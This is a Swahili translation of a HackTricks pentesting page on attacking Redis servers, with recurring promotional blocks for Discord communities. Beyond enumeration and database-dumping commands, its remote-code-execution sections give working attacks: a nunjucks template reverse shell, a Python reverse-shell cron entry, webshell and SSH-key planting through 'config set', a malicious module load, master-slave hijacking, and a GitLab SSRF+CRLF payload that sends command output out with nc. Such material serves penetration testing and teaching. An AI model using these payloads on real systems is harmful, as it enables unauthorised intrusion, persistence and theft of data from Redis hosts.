# 6379 - Kupima Usalama wa Redis
Jifunze AWS hacking kutoka sifuri hadi shujaa nahtARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wakora wenye uzoefu na wawindaji wa tuzo za mdudu!
**Machapisho ya Kuhack**\
Shiriki na yaliyomo yanayochimba kina katika msisimko na changamoto za kuhack
**Taarifa za Kuhack za Muda Halisi**\
Kaa up-to-date na ulimwengu wa kuhack wenye kasi kupitia habari za muda halisi na ufahamu
**Matangazo ya Karibuni**\
Baki mwelewa na tuzo mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wakora bora leo!
## Taarifa Msingi
Kutoka [nyaraka](https://redis.io/topics/introduction): Redis ni chanzo wazi (lenye leseni ya BSD), duka la **muundo wa data la kumbukumbu**, hutumiwa kama **database**, cache na message broker).
Kwa chaguo-msingi Redis hutumia itifaki inayotegemea maandishi ya wazi, lakini lazima ukumbuke inaweza pia kutekeleza **ssl/tls**. Jifunze jinsi ya [kuendesha Redis na ssl/tls hapa](https://fossies.org/linux/redis/TLS.md).
**Bandari ya chaguo-msingi:** 6379
```
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
```
## Uchambuzi wa Kiotomatiki
Baadhi ya zana za kiotomatiki zinazoweza kusaidia kupata habari kutoka kwa kipengee cha redis:
```bash
nmap --script redis-info -sV -p 6379
msf> use auxiliary/scanner/redis/redis_server
```
## Uchambuzi wa Kuelekea
### Bango
Redis ni **itifaki inayotegemea maandishi**, unaweza tu **kutuma amri kwenye soketi** na thamani zilizorudishwa zitakuwa zinaweza kusomwa. Pia kumbuka kwamba Redis inaweza kukimbia kwa kutumia **ssl/tls** (lakini hii ni ya kawaida sana).
Katika kipengele cha kawaida cha Redis unaweza tu kuunganisha kutumia `nc` au unaweza pia kutumia `redis-cli`:
```bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```
**Amri ya kwanza** unayoweza kujaribu ni **`info`**. Inaweza **kurudisha matokeo na habari** ya kipengee cha Redis **au kitu** kama ifuatavyo:
```
-NOAUTH Authentication required.
```
Katika kesi hii ya mwisho, hii inamaanisha kwamba **unahitaji sifa halali** ili kupata ufikiaji wa kipengee cha Redis.
### Uthibitishaji wa Redis
**Kwa chaguo-msingi** Redis inaweza kupatikana **bila sifa**. Walakini, inaweza **kusanidiwa** ili kusaidia **nenosiri pekee, au jina la mtumiaji + nenosiri**.\
Inawezekana **kuweka nenosiri** katika faili ya _**redis.conf**_ kwa parameter `requirepass` **au kwa muda** hadi huduma ianzishwe tena kwa kuunganisha na kukimbia: `config set requirepass p@ss$12E45`.\
Pia, **jina la mtumiaji** linaweza kusanidiwa kwa parameter `masteruser` ndani ya faili ya _**redis.conf**_.
{% hint style="info" %}
Ikiwa nenosiri pekee limewekwa, jina la mtumiaji linalotumiwa ni "**default**".\
Pia, kumbuka kwamba hakuna **njia ya kugundua kwa nje** ikiwa Redis ilisanidiwa na nenosiri pekee au jina la mtumiaji + nenosiri.
{% endhint %}
Katika kesi kama hii utahitaji **kupata sifa halali** ili kuingiliana na Redis hivyo unaweza kujaribu [**kuvunja nguvu**](../generic-methodologies-and-resources/brute-force.md#redis).\
**Ikiwa umepata sifa halali unahitaji kuthibitisha kikao** baada ya kuanzisha uhusiano na amri:
```bash
AUTH
```
**Maelezo halali** yatajibiwa na: `+OK`
### **Uchambuzi uliothibitishwa**
Ikiwa seva ya Redis inaruhusu **mawasiliano yasiyojulikana** au ikiwa umepata maelezo halali, unaweza kuanzisha mchakato wa uchambuzi wa huduma kwa kutumia **amri** zifuatazo:
```bash
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
```
**Amri zingine za Redis** [**zinaweza kupatikana hapa**](https://redis.io/topics/data-types-intro) **na** [**hapa**](https://lzone.de/cheat-sheet/Redis)**.**
Tafadhali kumbuka kwamba **Amri za Redis za kipengee zinaweza kubadilishwa jina** au kuondolewa katika faili ya _redis.conf_. Kwa mfano, mstari huu utaondoa amri ya FLUSHDB:
```
rename-command FLUSHDB ""
```
Zaidi kuhusu kusanidi kwa usalama huduma ya Redis hapa: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
Unaweza pia **kuangalia muda halisi amri za Redis** zilizotekelezwa kwa amri **`monitor`** au kupata **25 ya amri zenye polepole zaidi** kwa **`slowlog get 25`**
Pata habari zaidi kuhusu amri zaidi za Redis hapa: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
### **Kudondosha Database**
Ndani ya Redis **databases ni nambari zinazoanza kutoka 0**. Unaweza kugundua ikiwa yeyote anatumika kwenye matokeo ya amri `info` ndani ya sehemu ya "Keyspace":
![](<../.gitbook/assets/image (766).png>)
Au unaweza tu kupata **keyspaces** zote (databases) kwa:
```
INFO keyspace
```
Katika mfano huo **database 0 na 1** zinatumika. **Database 0 ina funguo 4 na database 1 ina 1**. Kwa chaguo-msingi Redis itatumia database 0. Ili kudump mfano wa database 1 unahitaji kufanya:
```bash
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET
[ ... Get Key ... ]
```
Ikiwa unapata kosa la `-WRONGTYPE Operation against a key holding the wrong kind of value` wakati unatekeleza `GET ` ni kwa sababu ufunguo huenda ukawa kitu kingine zaidi ya herufi au nambari na inahitaji mwendeshaji maalum kuonyesha.
Ili kujua aina ya ufunguo, tumia amri ya `TYPE`, mfano hapa chini kwa ufunguo wa orodha na hash.
```bash
TYPE
[ ... Type of the Key ... ]
LRANGE 0 -1
[ ... Get list items ... ]
HGET
[ ... Get hash item ... ]
# If the type used is weird you can always do:
DUMP
```
**Dump the database with npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **au python** [**redis-utils**](https://pypi.org/project/redis-utils/)
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za mdudu!
**Machapisho ya Kudukua**\
Shiriki na yaliyomo yanayochimba kina cha msisimko na changamoto za kudukua
**Taarifa za Kudukua za Wakati Halisi**\
Kaa sawa na ulimwengu wa kudukua wenye kasi kupitia habari za wakati halisi na ufahamu
**Matangazo ya Karibuni**\
Baki mwelewa na tuzo mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
## Redis RCE
### Kifaa cha Mwingiliano
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) inaweza kupata kiotomatiki kifaa cha mwingiliano au kifaa cha mwingiliano wa nyuma kwa Redis(<=5.0.5).
```
./redis-rogue-server.py --rhost --lhost
```
### PHP Webshell
Maelezo kutoka [**hapa**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Lazima ujue **njia** ya **folda ya Tovuti**:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test ""
OK
10.85.0.52:6379> save
OK
```
Ikiwa kuna kipekee cha ufikiaji wa webshell, unaweza kufuta database baada ya kufanya nakala rudufu na kujaribu tena, kumbuka kurejesha database.
### Kigezo cha Webshell
Kama ilivyokuwa kwenye sehemu iliyopita unaweza pia kubadilisha faili ya templeti ya html ambayo italetwa na injini ya templeti na kupata shell.
Kwa mfano, kufuatia [**hii andishi**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), unaweza kuona kwamba mkaidi aliingiza **rev shell katika html** iliyotafsiriwa na **injini ya templeti ya nunjucks:**
```javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
```
{% hint style="warning" %}
Tafadhali kumbuka kwamba **mifumo kadhaa ya templeti hufanya cache** ya templeti kwenye **kumbukumbu**, hivyo hata kama unazibadilisha, ile mpya **haitatekelezwa**. Katika hali hizi, au mwandishi wa programu ameacha upyaaji wa moja kwa moja ukiwa hai au unahitaji kufanya DoS kwenye huduma (na kutarajia itazinduliwa tena moja kwa moja).
{% endhint %}
### SSH
Mfano [kutoka hapa](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
Tafadhali fahamu kwamba matokeo ya **`config get dir`** yanaweza kubadilika baada ya amri zingine za kudukua kufanywa kwa mikono. Ni vyema kukimbia amri hiyo kwanza mara baada ya kuingia kwenye Redis. Katika matokeo ya **`config get dir`** unaweza kupata **nyumbani** mwa **mtumiaji wa redis** (kawaida _/var/lib/redis_ au _/home/redis/.ssh_), na ukijua hili unajua mahali unaweza kuandika faili ya `authenticated_users` ili kupata ufikiaji kupitia ssh **na mtumiaji redis**. Ukijua nyumbani mwa mtumiaji mwingine halali ambapo una ruhusa ya kuandika unaweza pia kuitumia:
1. Unda jozi ya ufunguo wa umma-binafsi ya ssh kwenye kompyuta yako: **`ssh-keygen -t rsa`**
2. Andika ufunguo wa umma kwenye faili: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
3. Ingiza faili kwenye redis: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. Hifadhi ufunguo wa umma kwenye faili ya **authorized\_keys** kwenye seva ya redis:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
```
5. Hatimaye, unaweza **ssh** kwenye **seva ya redis** na ufunguo wa binafsi: **ssh -i id\_rsa redis@10.85.0.52**
**Hii ni mbinu iliyoko hapa:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
### Crontab
```
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
```
Mfano wa mwisho ni kwa Ubuntu, kwa **Centos**, amri hapo juu inapaswa kuwa: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
Njia hii inaweza pia kutumika kupata bitcoin: [yam](https://www.v2ex.com/t/286981#reply14)
### Pakia Moduli ya Redis
1. Kufuata maagizo kutoka [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) unaweza **kukusanya moduli ya redis kutekeleza amri za kupindukia**.
2. Kisha unahitaji njia fulani ya **kupakia moduli iliyokusanywa**
3. **Pakia moduli** iliyo pakuliwa wakati wa uendeshaji na `MODULE LOAD /path/to/mymodule.so`
4. **Orodhesha moduli zilizopakiwa** kuangalia ikiwa ilipakiwa kwa usahihi: `MODULE LIST`
5. **Tekeleza** **amri**:
```
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
```
6. Pakua moduli wakati wowote unapotaka: `MODULE UNLOAD mymodule`
### Kizuizi cha Sanduku la LUA
[**Hapa**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) unaweza kuona kuwa Redis hutumia amri **EVAL** kutekeleza **Lua code sandboxed**. Katika chapisho lililounganishwa unaweza kuona **jinsi ya kulitumia** kutumia kazi ya **dofile**, lakini [kwa mujibu wa](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) hili sio tena linalowezekana. Walakini, ikiwa unaweza **kupita kizuizi cha Lua** unaweza **kutekeleza amri za kupindukia** kwenye mfumo. Pia, kutoka kwenye chapisho hilo hilo unaweza kuona baadhi ya **chaguzi za kusababisha DoS**.
Baadhi ya **CVEs za kutoroka kutoka LUA**:
* [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
### Moduli ya Bwana-Mtumwa
Operesheni zote za bwana redis zinasawazishwa moja kwa moja kwa mtumwa redis, ambayo inamaanisha tunaweza kuchukulia udhaifu wa redis kama mtumwa wa redis, uliounganishwa na bwana wa redis ambao tunadhibiti, kisha tunaweza kuingiza amri kwenye redis yetu wenyewe.
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
```
## SSRF kuzungumza na Redis
Ikiwa unaweza kutuma **ombi la maandishi wazi** **kwa Redis**, unaweza **kutangamana nayo** kwani Redis itasoma ombi line kwa line na kujibu tu kwa makosa kwa mistari ambayo haielewi:
```
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
```
Kwa hivyo, ikiwa utapata **SSRF vuln** kwenye tovuti na unaweza **kudhibiti** baadhi ya **headers** (labda na CRLF vuln) au **POST parameters**, utaweza kutuma amri za kupendelea kwa Redis.
### Mfano: Gitlab SSRF + CRLF hadi Shell
Katika **Gitlab11.4.7** iligunduliwa **SSRF** vulnerability na **CRLF**. **SSRF** vulnerability ilikuwa katika **import project from URL functionality** wakati wa kuunda mradi mpya na kuruhusu kupata IPs za kupendelea kwa mfano \[0:0:0:0:0:ffff:127.0.0.1] (hii itapata 127.0.0.1), na **CRLF** vuln ilidukuliwa kwa kuongeza tu wahusika wa **%0D%0A** kwenye **URL**.
Kwa hivyo, ilikuwa inawezekana **kutumia vulnerabilities hizi kuzungumza na kipengele cha Redis** ambacho **kinasimamia foleni** kutoka **gitlab** na kutumia foleni hizo kwa **kupata utekelezaji wa nambari**. Payload ya unyanyasaji wa foleni ya Redis ni:
```
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
```
Na ombi la **URL encode** linalotumia **SSRF** na **CRLF** kutekeleza `whoami` na kutuma pato kupitia `nc` ni:
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
_Kwa sababu fulani (kama ilivyokuwa kwa mwandishi wa_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _ambapo habari hii ilitoka) uchomaji ulifanya kazi na mpango wa `git` na sio na mpango wa `http`._
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuzungumza na wadukuzi wenye uzoefu na wawindaji wa tuzo za makosa ya programu!
**Machapisho ya Udukuzi**\
Shiriki na maudhui yanayochimba kina katika msisimko na changamoto za udukuzi
**Taarifa za Udukuzi za Wakati Halisi**\
Kaa sawa na ulimwengu wa udukuzi wenye kasi kupitia taarifa za habari za wakati halisi
**Matangazo ya Karibuni**\
Baki mwelekezwa na tuzo mpya za makosa zinazoanzishwa na sasisho muhimu za jukwaa
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!